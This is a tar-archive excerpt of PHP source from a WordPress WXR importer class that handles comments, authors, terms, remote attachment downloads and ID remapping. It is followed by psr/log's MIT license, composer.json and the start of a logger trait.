Remove meta from the main array $meta = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array(); unset( $comment['commentmeta'] ); // Map the parent comment, or mark it as one we need to fix $requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['comment'][ $parent_id ] ) ) { $comment['comment_parent'] = $this->mapping['comment'][ $parent_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; // Wipe the parent for now $comment['comment_parent'] = 0; } } // Map the author, or mark it as one we need to fix if ( $author_id ) { if ( isset( $this->mapping['user'][ $author_id ] ) ) { $comment['user_id'] = $this->mapping['user'][ $author_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_user', 'value' => $author_id ); $requires_remapping = true; // Wipe the user for now $comment['user_id'] = 0; } } // Run standard core filters $comment['comment_post_ID'] = $post_id; $comment = wp_filter_comment( $comment ); // wp_insert_comment expects slashed data $comment_id = wp_insert_comment( wp_slash( $comment ) ); $this->mapping['comment'][ $original_id ] = $comment_id; if ( $requires_remapping ) { $this->requires_remapping['comment'][ $comment_id ] = true; } $this->mark_comment_exists( $comment, $comment_id ); /** * Comment has been imported. * * @param int $comment_id New comment ID * @param array $comment Comment inserted (`comment_id` item refers to the original ID) * @param int $post_id Post parent of the comment * @param array $post Post data */ do_action( 'wp_import_insert_comment', $comment_id, $comment, $post_id, $post ); // Process the meta items foreach ( $meta as $meta_item ) { $value = maybe_unserialize( $meta_item['value'] ); add_comment_meta( $comment_id, wp_slash( $meta_item['key'] ), wp_slash( $value ) ); } /** * Post processing completed. * * @param int $post_id New post ID. * @param array $comment Raw data imported for the comment. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param array $post_id Parent post ID. */ do_action( 'wxr_importer.processed.comment', $comment_id, $comment, $meta, $post_id ); $num_comments++; } return $num_comments; } /** * Parse the category node. * * @param \DOMNode $node The category node. * * @return array|null */ protected function parse_category_node( $node ) { $data = array( // Default taxonomy to "category", since this is a `<category>` tag 'taxonomy' => 'category', ); $meta = array(); if ( $node->hasAttribute( 'domain' ) ) { $data['taxonomy'] = $node->getAttribute( 'domain' ); } if ( $node->hasAttribute( 'nicename' ) ) { $data['slug'] = $node->getAttribute( 'nicename' ); } $data['name'] = $node->textContent; if ( empty( $data['slug'] ) ) { return null; } // Just for extra compatibility if ( $data['taxonomy'] === 'tag' ) { $data['taxonomy'] = 'post_tag'; } return $data; } /** * Callback for `usort` to sort comments by ID * * @param array $a Comment data for the first comment * @param array $b Comment data for the second comment * * @return int */ public static function sort_comments_by_id( $a, $b ) { if ( empty( $a['comment_id'] ) ) { return 1; } if ( empty( $b['comment_id'] ) ) { return -1; } return $a['comment_id'] - $b['comment_id']; } protected function parse_author_node( $node ) { $data = array(); $meta = array(); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:author_login': $data['user_login'] = $child->textContent; break; case 'wp:author_id': $data['ID'] = $child->textContent; break; case 'wp:author_email': $data['user_email'] = $child->textContent; break; case 'wp:author_display_name': $data['display_name'] = $child->textContent; break; case 'wp:author_first_name': $data['first_name'] = $child->textContent; break; case 'wp:author_last_name': $data['last_name'] = $child->textContent; break; } } return compact( 'data', 'meta' ); } /** * Process author. * * @param array $data The author data from WXR file. * @param array $meta The author meta data from WXR file. */ protected function process_author( $data, $meta ) { /** * Pre-process user data. * * @param array $data User data. (Return empty to skip.) * @param array $meta Meta data. */ $data = apply_filters( 'wxr_importer.pre_process.user', $data, $meta ); if ( empty( $data ) ) { return false; } // Have we already handled this user? $original_id = isset( $data['ID'] ) ? $data['ID'] : 0; $original_slug = $data['user_login']; if ( isset( $this->mapping['user'][ $original_id ] ) ) { $existing = $this->mapping['user'][ $original_id ]; // Note the slug mapping if we need to too if ( ! isset( $this->mapping['user_slug'][ $original_slug ] ) ) { $this->mapping['user_slug'][ $original_slug ] = $existing; } return false; } if ( isset( $this->mapping['user_slug'][ $original_slug ] ) ) { $existing = $this->mapping['user_slug'][ $original_slug ]; // Ensure we note the mapping too $this->mapping['user'][ $original_id ] = $existing; return false; } // Allow overriding the user's slug $login = $original_slug; if ( isset( $this->user_slug_override[ $login ] ) ) { $login = $this->user_slug_override[ $login ]; } $userdata = array( 'user_login' => sanitize_user( $login, true ), 'user_pass' => wp_generate_password(), ); $allowed = array( 'user_email' => true, 'display_name' => true, 'first_name' => true, 'last_name' => true, ); foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $userdata[ $key ] = $data[ $key ]; } $user_id = wp_insert_user( wp_slash( $userdata ) ); if ( is_wp_error( $user_id ) ) { $this->logger->error( sprintf( __( 'Failed to import user "%s"', 'wordpress-importer' ), $userdata['user_login'] ) ); $this->logger->debug( $user_id->get_error_message() ); /** * User processing failed. * * @param WP_Error $user_id Error object. * @param array $userdata Raw data imported for the user. */ do_action( 'wxr_importer.process_failed.user', $user_id, $userdata ); return false; } if ( $original_id ) { $this->mapping['user'][ $original_id ] = $user_id; } $this->mapping['user_slug'][ $original_slug ] = $user_id; $this->logger->info( sprintf( __( 'Imported user "%s"', 'wordpress-importer' ), $userdata['user_login'] ) ); $this->logger->debug( sprintf( __( 'User %d remapped to %d', 'wordpress-importer' ), $original_id, $user_id ) ); // TODO: Implement meta handling once WXR includes it /** * User processing completed. * * @param int $user_id New user ID. * @param array $userdata Raw data imported for the user. */ do_action( 'wxr_importer.processed.user', $user_id, $userdata ); } /** * Parse term node. * * @param \DOMNode $node The term node from WXR file. * @param string $type The type of the term node. * * @return array|null */ protected function parse_term_node( $node, $type = 'term' ) { $data = array(); $meta = array(); $tag_name = array( 'id' => 'wp:term_id', 'taxonomy' => 'wp:term_taxonomy', 'slug' => 'wp:term_slug', 'parent' => 'wp:term_parent', 'name' => 'wp:term_name', 'description' => 'wp:term_description', ); $taxonomy = null; // Special casing! switch ( $type ) { case 'category': $tag_name['slug'] = 'wp:category_nicename'; $tag_name['parent'] = 'wp:category_parent'; $tag_name['name'] = 'wp:cat_name'; $tag_name['description'] = 'wp:category_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'category'; break; case 'tag': $tag_name['slug'] = 'wp:tag_slug'; $tag_name['parent'] = null; $tag_name['name'] = 'wp:tag_name'; $tag_name['description'] = 'wp:tag_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'post_tag'; break; } foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } $key = array_search( $child->tagName, $tag_name ); if ( $key ) { $data[ $key ] = $child->textContent; } else if ( $child->tagName == 'wp:termmeta' ) { $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $meta[] = $meta_item; } } } if ( empty( $data['taxonomy'] ) ) { return null; } // Compatibility with WXR 1.0 if ( $data['taxonomy'] === 'tag' ) { $data['taxonomy'] = 'post_tag'; } return compact( 'data', 'meta' ); } /** * Process term. * * @param array $data The term data from WXR file. * @param array $meta The term meta data from WXR file. */ protected function process_term( $data, $meta ) { /** * Pre-process term data. * * @param array $data Term data. (Return empty to skip.) * @param array $meta Meta data. */ $data = apply_filters( 'wxr_importer.pre_process.term', $data, $meta ); if ( empty( $data ) ) { return false; } $original_id = isset( $data['id'] ) ? (int) $data['id'] : 0; /* FIX for OCDI! * As of WP 4.5, export.php returns the SLUG for the term's parent, * rather than an integer ID (this differs from a post_parent) * wp_insert_term and wp_update_term use the key: 'parent' and an integer value 'id' */ $term_slug = isset( $data['slug'] ) ? $data['slug'] : ''; $parent_slug = isset( $data['parent'] ) ? $data['parent'] : ''; $mapping_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); $existing = $this->term_exists( $data ); if ( $existing ) { $this->mapping['term'][ $mapping_key ] = $existing; $this->mapping['term_id'][ $original_id ] = $existing; $this->mapping['term_slug'][ $term_slug ] = $existing; return false; } // WP really likes to repeat itself in export files if ( isset( $this->mapping['term'][ $mapping_key ] ) ) { return false; } $termdata = array(); $allowed = array( 'slug' => true, 'description' => true, 'parent' => true, // The parent_id may have already been set, so pass this back to the newly inserted term. ); // Map the parent comment, or mark it as one we need to fix $requires_remapping = false; if ( $parent_slug ) { if ( isset( $this->mapping['term_slug'][ $parent_slug ] ) ) { $data['parent'] = $this->mapping['term_slug'][ $parent_slug ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_slug ); $requires_remapping = true; // Wipe the parent id for now $data['parent'] = 0; } } foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $termdata[ $key ] = $data[ $key ]; } $result = wp_insert_term( $data['name'], $data['taxonomy'], $termdata ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Failed to import %s %s', 'wordpress-importer' ), $data['taxonomy'], $data['name'] ) ); $this->logger->debug( $result->get_error_message() ); do_action( 'wp_import_insert_term_failed', $result, $data ); /** * Term processing failed. * * @param WP_Error $result Error object. * @param array $data Raw data imported for the term. * @param array $meta Meta data supplied for the term. */ do_action( 'wxr_importer.process_failed.term', $result, $data, $meta ); return false; } $term_id = $result['term_id']; // Now prepare to map this new term. $this->mapping['term'][ $mapping_key ] = $term_id; $this->mapping['term_id'][ $original_id ] = $term_id; $this->mapping['term_slug'][ $term_slug ] = $term_id; /* * Fix for OCDI! * The parent will be updated later in post_process_terms * we will need both the term_id AND the term_taxonomy to retrieve existing * term attributes. Those attributes will be returned with the corrected parent, * using wp_update_term. * Pass both the term_id along with the term_taxonomy as key=>value * in the requires_remapping['term'] array. */ if ( $requires_remapping ) { $this->requires_remapping['term'][ $term_id ] = $data['taxonomy']; } $this->logger->info( sprintf( __( 'Imported "%s" (%s)', 'wordpress-importer' ), $data['name'], $data['taxonomy'] ) ); $this->logger->debug( sprintf( __( 'Term %d remapped to %d', 'wordpress-importer' ), $original_id, $term_id ) ); // Actuall process of the term meta data. $this->process_term_meta( $meta, $term_id, $data ); do_action( 'wp_import_insert_term', $term_id, $data ); /** * Term processing completed. * * @param int $term_id New term ID. * @param array $data Raw data imported for the term. */ do_action( 'wxr_importer.processed.term', $term_id, $data ); } /** * Process and import term meta items. * * @param array $meta List of meta data arrays. * @param int $term_id Term ID to associate with. * @param array $term Term data. * * @return int|bool Number of meta items imported on success, false otherwise. */ protected function process_term_meta( $meta, $term_id, $term ) { if ( empty( $meta ) ) { return true; } foreach ( $meta as $meta_item ) { /** * Pre-process term meta data. * * @param array $meta_item Meta data. (Return empty to skip.) * @param int $term_id Term the meta is attached to. */ $meta_item = apply_filters( 'wxr_importer.pre_process.term_meta', $meta_item, $term_id ); if ( empty( $meta_item ) ) { continue; } $key = apply_filters( 'import_term_meta_key', $meta_item['key'], $term_id, $term ); $value = false; if ( $key ) { // Export gets meta straight from the DB so could have a serialized string. if ( ! $value ) { $value = maybe_unserialize( $meta_item['value'] ); } $result = add_term_meta( $term_id, $key, $value ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Failed to add metakey: %s, metavalue: %s to term_id: %d', 'wordpress-importer' ), $key, $value, $term_id ) ); do_action( 'wxr_importer.process_failed.termmeta', $result, $meta_item, $term_id, $term ); } else { $this->logger->debug( sprintf( __( 'Meta for term_id %d : %s => %s ; successfully added!', 'wordpress-importer' ), $term_id, $key, $value ) ); } do_action( 'import_term_meta', $term_id, $key, $value ); } } return true; } /** * Attempt to download a remote file attachment. * * @param string $url URL of item to fetch. * @param array $post Attachment details. * * @return array|WP_Error Local file location details on success, WP_Error otherwise */ protected function fetch_remote_file( $url, $post ) { // extract the file name and extension from the url $file_name = basename( $url ); // get placeholder file in the upload dir with a unique, sanitized filename $upload = wp_upload_bits( $file_name, 0, '', $post['upload_date'] ); if ( $upload['error'] ) { return new WP_Error( 'upload_dir_error', $upload['error'] ); } // fetch the remote url and write it to the placeholder file $response = wp_remote_get( $url, array( 'stream' => true, 'filename' => $upload['file'], ) ); // request failed if ( is_wp_error( $response ) ) { unlink( $upload['file'] ); return $response; } $code = (int) wp_remote_retrieve_response_code( $response ); // make sure the fetch was successful if ( $code !== 200 ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', sprintf( __( 'Remote server returned %1$d %2$s for %3$s', 'wordpress-importer' ), $code, get_status_header_desc( $code ), $url ) ); } $filesize = filesize( $upload['file'] ); $headers = wp_remote_retrieve_headers( $response ); // OCDI fix! // Smaller images with server compression do not pass this rule. // More info here: https://github.com/proteusthemes/WordPress-Importer/pull/2 // // if ( isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { // unlink( $upload['file'] ); // return new WP_Error( 'import_file_error', __( 'Remote file is incorrect size', 'wordpress-importer' ) ); // } if ( 0 === $filesize ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', __( 'Zero size file downloaded', 'wordpress-importer' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { unlink( $upload['file'] ); $message = sprintf( __( 'Remote file is too large, limit is %s', 'wordpress-importer' ), size_format( $max_size ) ); return new WP_Error( 'import_file_error', $message ); } return $upload; } protected function post_process() { // Time to tackle any left-over bits if ( ! empty( $this->requires_remapping['post'] ) ) { $this->post_process_posts( $this->requires_remapping['post'] ); } if ( ! empty( $this->requires_remapping['comment'] ) ) { $this->post_process_comments( $this->requires_remapping['comment'] ); } if ( ! empty( $this->requires_remapping['term'] ) ) { $this->post_process_terms( $this->requires_remapping['term'] ); } } protected function post_process_posts( $todo ) { foreach ( $todo as $post_id => $_ ) { $this->logger->debug( sprintf( // Note: title intentionally not used to skip extra processing // for when debug logging is off __( 'Running post-processing for post %d', 'wordpress-importer' ), $post_id ) ); $data = array(); $parent_id = get_post_meta( $post_id, '_wxr_import_parent', true ); if ( ! empty( $parent_id ) ) { // Have we imported the parent now? if ( isset( $this->mapping['post'][ $parent_id ] ) ) { $data['post_parent'] = $this->mapping['post'][ $parent_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the post parent for "%s" (post #%d)', 'wordpress-importer' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with parent %d, but could not be found', 'wordpress-importer' ), $post_id, $parent_id ) ); } } $author_slug = get_post_meta( $post_id, '_wxr_import_user_slug', true ); if ( ! empty( $author_slug ) ) { // Have we imported the user now? if ( isset( $this->mapping['user_slug'][ $author_slug ] ) ) { $data['post_author'] = $this->mapping['user_slug'][ $author_slug ]; } else { $this->logger->warning( sprintf( __( 'Could not find the author for "%s" (post #%d)', 'wordpress-importer' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with author "%s", but could not be found', 'wordpress-importer' ), $post_id, $author_slug ) ); } } $has_attachments = get_post_meta( $post_id, '_wxr_import_has_attachment_refs', true ); if ( ! empty( $has_attachments ) ) { $post = get_post( $post_id ); $content = $post->post_content; // Replace all the URLs we've got $new_content = str_replace( array_keys( $this->url_remap ), $this->url_remap, $content ); if ( $new_content !== $content ) { $data['post_content'] = $new_content; } } if ( get_post_type( $post_id ) === 'nav_menu_item' ) { $this->post_process_menu_item( $post_id ); } // Do we have updates to make? if ( empty( $data ) ) { $this->logger->debug( sprintf( __( 'Post %d was marked for post-processing, but none was required.', 'wordpress-importer' ), $post_id ) ); continue; } // Run the update $data['ID'] = $post_id; $result = wp_update_post( $data, true ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Could not update "%s" (post #%d) with mapped data', 'wordpress-importer' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( $result->get_error_message() ); continue; } // Clear out our temporary meta keys delete_post_meta( $post_id, '_wxr_import_parent' ); delete_post_meta( $post_id, '_wxr_import_user_slug' ); delete_post_meta( $post_id, '_wxr_import_has_attachment_refs' ); } } protected function post_process_menu_item( $post_id ) { $menu_object_id = get_post_meta( $post_id, '_wxr_import_menu_item', true ); if ( empty( $menu_object_id ) ) { // No processing needed! return; } $menu_item_type = get_post_meta( $post_id, '_menu_item_type', true ); switch ( $menu_item_type ) { case 'taxonomy': if ( isset( $this->mapping['term_id'][ $menu_object_id ] ) ) { $menu_object = $this->mapping['term_id'][ $menu_object_id ]; } break; case 'post_type': if ( isset( $this->mapping['post'][ $menu_object_id ] ) ) { $menu_object = $this->mapping['post'][ $menu_object_id ]; } break; default: // Cannot handle this. return; } if ( ! empty( $menu_object ) ) { update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $menu_object ) ); } else { $this->logger->warning( sprintf( __( 'Could not find the menu object for "%s" (post #%d)', 'wordpress-importer' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with object "%d" of type "%s", but could not be found', 'wordpress-importer' ), $post_id, $menu_object_id, $menu_item_type ) ); } delete_post_meta( $post_id, '_wxr_import_menu_item' ); } protected function post_process_comments( $todo ) { foreach ( $todo as $comment_id => $_ ) { $data = array(); $parent_id = get_comment_meta( $comment_id, '_wxr_import_parent', true ); if ( ! empty( $parent_id ) ) { // Have we imported the parent now? if ( isset( $this->mapping['comment'][ $parent_id ] ) ) { $data['comment_parent'] = $this->mapping['comment'][ $parent_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the comment parent for comment #%d', 'wordpress-importer' ), $comment_id ) ); $this->logger->debug( sprintf( __( 'Comment %d was imported with parent %d, but could not be found', 'wordpress-importer' ), $comment_id, $parent_id ) ); } } $author_id = get_comment_meta( $comment_id, '_wxr_import_user', true ); if ( ! empty( $author_id ) ) { // Have we imported the user now? if ( isset( $this->mapping['user'][ $author_id ] ) ) { $data['user_id'] = $this->mapping['user'][ $author_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the author for comment #%d', 'wordpress-importer' ), $comment_id ) ); $this->logger->debug( sprintf( __( 'Comment %d was imported with author %d, but could not be found', 'wordpress-importer' ), $comment_id, $author_id ) ); } } // Do we have updates to make? if ( empty( $data ) ) { continue; } // Run the update $data['comment_ID'] = $comment_id; $result = wp_update_comment( wp_slash( $data ) ); if ( empty( $result ) ) { $this->logger->warning( sprintf( __( 'Could not update comment #%d with mapped data', 'wordpress-importer' ), $comment_id ) ); continue; } // Clear out our temporary meta keys delete_comment_meta( $comment_id, '_wxr_import_parent' ); delete_comment_meta( $comment_id, '_wxr_import_user' ); } } /** * There is no explicit 'top' or 'root' for a hierarchy of WordPress terms * Terms without a parent, or parent=0 are either unconnected (orphans) * or top-level siblings without an explicit root parent * An unconnected term (orphan) should have a null parent_slug * Top-level siblings without an explicit root parent, shall be identified * with the parent_slug: top * [we'll map parent_slug: top into parent 0] * * @param array $terms_to_be_remapped The terms to be remapped. */ protected function post_process_terms( $terms_to_be_remapped ) { $this->mapping['term_slug']['top'] = 0; // The term_id and term_taxonomy are passed-in with $this->requires_remapping['term']. foreach ( $terms_to_be_remapped as $termid => $term_taxonomy ) { // Basic check. if( empty( $termid ) || ! is_numeric( $termid ) ) { $this->logger->warning( sprintf( __( 'Faulty term_id provided in terms-to-be-remapped array %s', 'wordpress-importer' ), $termid ) ); continue; } // This cast to integer may be unnecessary. $term_id = (int) $termid; if( empty( $term_taxonomy ) ){ $this->logger->warning( sprintf( __( 'No taxonomy provided in terms-to-be-remapped array for term #%d', 'wordpress-importer' ), $term_id ) ); continue; } $parent_slug = get_term_meta( $term_id, '_wxr_import_parent', true ); if ( empty( $parent_slug ) ) { $this->logger->warning( sprintf( __( 'No parent_slug identified in remapping-array for term: %d', 'wordpress-importer' ), $term_id ) ); continue; } if ( ! isset( $this->mapping['term_slug'][ $parent_slug ] ) || ! is_numeric( $this->mapping['term_slug'][ $parent_slug ] ) ) { $this->logger->warning( sprintf( __( 'The term(%d)"s parent_slug (%s) is not found in the remapping-array.', 'wordpress-importer' ), $term_id, $parent_slug ) ); continue; } $mapped_parent = (int) $this->mapping['term_slug'][ $parent_slug ]; $termattributes = get_term_by( 'id', $term_id, $term_taxonomy, ARRAY_A ); // Note: the default OBJECT return results in a reserved-word clash with 'parent' [$termattributes->parent], so instead return an associative array. if ( empty( $termattributes ) ) { $this->logger->warning( sprintf( __( 'No data returned by get_term_by for term_id #%d', 'wordpress-importer' ), $term_id ) ); continue; } // Check if the correct parent id is already correctly mapped. if ( isset( $termattributes['parent'] ) && $termattributes['parent'] == $mapped_parent ) { // Clear out our temporary meta key. delete_term_meta( $term_id, '_wxr_import_parent' ); continue; } // Otherwise set the mapped parent and update the term. $termattributes['parent'] = $mapped_parent; $result = wp_update_term( $term_id, $termattributes['taxonomy'], $termattributes ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Could not update "%s" (term #%d) with mapped data', 'wordpress-importer' ), $termattributes['name'], $term_id ) ); $this->logger->debug( $result->get_error_message() ); continue; } // Clear out our temporary meta key. delete_term_meta( $term_id, '_wxr_import_parent' ); $this->logger->debug( sprintf( __( 'Term %d was successfully updated with parent %d', 'wordpress-importer' ), $term_id, $mapped_parent ) ); } } /** * Use stored mapping information to update old attachment URLs */ protected function replace_attachment_urls_in_content() { global $wpdb; // make sure we do the longest urls first, in case one is a substring of another uksort( $this->url_remap, array( $this, 'cmpr_strlen' ) ); foreach ( $this->url_remap as $from_url => $to_url ) { // remap urls in post_content $query = $wpdb->prepare( "UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url ); $wpdb->query( $query ); // remap enclosure urls $query = $wpdb->prepare( "UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url ); $wpdb->query( $query ); } } /** * Update _thumbnail_id meta to new, imported attachment IDs */ function remap_featured_images() { if ( empty( $this->featured_images ) ) { return; } $this->logger->info( esc_html__( 'Starting remapping of featured images', 'wordpress-importer' ) ); // Cycle through posts that have a featured image. foreach ( $this->featured_images as $post_id => $value ) { if ( isset( $this->mapping['post'][ $value ] ) ) { $new_id = $this->mapping['post'][ $value ]; // Only update if there's a difference. if ( $new_id !== $value ) { $this->logger->info( sprintf( esc_html__( 'Remapping featured image ID %d to new ID %d for post ID %d', 'wordpress-importer' ), $value, $new_id, $post_id ) ); update_post_meta( $post_id, '_thumbnail_id', $new_id ); } } } } /** * Decide if the given meta key maps to information we will want to import * * @param string $key The meta key to check * @return string|bool The key if we do want to import, false if not */ public function is_valid_meta_key( $key ) { // skip attachment metadata since we'll regenerate it from scratch // skip _edit_lock as not relevant for import if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) { return false; } return $key; } /** * Decide what the maximum file size for downloaded attachments is. * Default is 0 (unlimited), can be filtered via import_attachment_size_limit * * @return int Maximum attachment file size to import */ protected function max_attachment_size() { return apply_filters( 'import_attachment_size_limit', 0 ); } /** * Added to http_request_timeout filter to force timeout at 60 seconds during import * * @param int $val Time in seconds. * @access protected * @return int 60 */ function bump_request_timeout($val) { return 60; } // return the difference in length between two strings function cmpr_strlen( $a, $b ) { return strlen( $b ) - strlen( $a ); } /** * Prefill existing post data. * * This preloads all GUIDs into memory, allowing us to avoid hitting the * database when we need to check for existence. With larger imports, this * becomes prohibitively slow to perform SELECT queries on each. * * By preloading all this data into memory, it's a constant-time lookup in * PHP instead. However, this does use a lot more memory, so for sites doing * small imports onto a large site, it may be a better tradeoff to use * on-the-fly checking instead. */ protected function prefill_existing_posts() { global $wpdb; $posts = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts}" ); foreach ( $posts as $item ) { $this->exists['post'][ $item->guid ] = $item->ID; } } /** * Does the post exist? * * @param array $data Post data to check against. * @return int|bool Existing post ID if it exists, false otherwise. */ protected function post_exists( $data ) { // Constant-time lookup if we prefilled $exists_key = $data['guid']; if ( $this->options['prefill_existing_posts'] ) { // OCDI: fix for custom post types. The guids in the prefilled section are escaped, so these ones should be as well. $exists_key = htmlentities( $exists_key ); return isset( $this->exists['post'][ $exists_key ] ) ? $this->exists['post'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['post'][ $exists_key ] ) ) { return $this->exists['post'][ $exists_key ]; } // Still nothing, try post_exists, and cache it $exists = post_exists( $data['post_title'], $data['post_content'], $data['post_date'] ); $this->exists['post'][ $exists_key ] = $exists; return $exists; } /** * Mark the post as existing. * * @param array $data Post data to mark as existing. * @param int $post_id Post ID. */ protected function mark_post_exists( $data, $post_id ) { $exists_key = $data['guid']; $this->exists['post'][ $exists_key ] = $post_id; } /** * Prefill existing comment data. * * @see self::prefill_existing_posts() for justification of why this exists. */ protected function prefill_existing_comments() { global $wpdb; $posts = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_date FROM {$wpdb->comments}" ); foreach ( $posts as $item ) { $exists_key = sha1( $item->comment_author . ':' . $item->comment_date ); $this->exists['comment'][ $exists_key ] = $item->comment_ID; } } /** * Does the comment exist? * * @param array $data Comment data to check against. * @return int|bool Existing comment ID if it exists, false otherwise. */ protected function comment_exists( $data ) { $exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] ); // Constant-time lookup if we prefilled if ( $this->options['prefill_existing_comments'] ) { return isset( $this->exists['comment'][ $exists_key ] ) ? $this->exists['comment'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['comment'][ $exists_key ] ) ) { return $this->exists['comment'][ $exists_key ]; } // Still nothing, try comment_exists, and cache it $exists = comment_exists( $data['comment_author'], $data['comment_date'] ); $this->exists['comment'][ $exists_key ] = $exists; return $exists; } /** * Mark the comment as existing. * * @param array $data Comment data to mark as existing. * @param int $comment_id Comment ID. */ protected function mark_comment_exists( $data, $comment_id ) { $exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] ); $this->exists['comment'][ $exists_key ] = $comment_id; } /** * Prefill existing term data. * * @see self::prefill_existing_posts() for justification of why this exists. */ protected function prefill_existing_terms() { global $wpdb; $query = "SELECT t.term_id, tt.taxonomy, t.slug FROM {$wpdb->terms} AS t"; $query .= " JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id"; $terms = $wpdb->get_results( $query ); foreach ( $terms as $item ) { $exists_key = sha1( $item->taxonomy . ':' . $item->slug ); $this->exists['term'][ $exists_key ] = $item->term_id; } } /** * Does the term exist? * * @param array $data Term data to check against. * @return int|bool Existing term ID if it exists, false otherwise. */ protected function term_exists( $data ) { $exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); // Constant-time lookup if we prefilled if ( $this->options['prefill_existing_terms'] ) { return isset( $this->exists['term'][ $exists_key ] ) ? $this->exists['term'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['term'][ $exists_key ] ) ) { return $this->exists['term'][ $exists_key ]; } // Still nothing, try comment_exists, and cache it $exists = term_exists( $data['slug'], $data['taxonomy'] ); if ( is_array( $exists ) ) { $exists = $exists['term_id']; } $this->exists['term'][ $exists_key ] = $exists; return $exists; } /** * Mark the term as existing. * * @param array $data Term data to mark as existing. * @param int $term_id Term ID. */ protected function mark_term_exists( $data, $term_id ) { $exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); $this->exists['term'][ $exists_key ] = $term_id; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/LICENSE�����������������������������������������������������������������������0000644�����������������00000002075�15154650146�0011734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/composer.json�����������������������������������������������������������������0000644�����������������00000001061�15154650146�0013443 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "name": "psr/log", "description": "Common interface for logging libraries", "keywords": ["psr", "psr-3", "log"], "homepage": "https://github.com/php-fig/log", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/LoggerTrait.php�������������������������������������������������������0000644�����������������00000006437�15154650146�0015156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This is a simple Logger trait that classes unable to extend AbstractLogger * 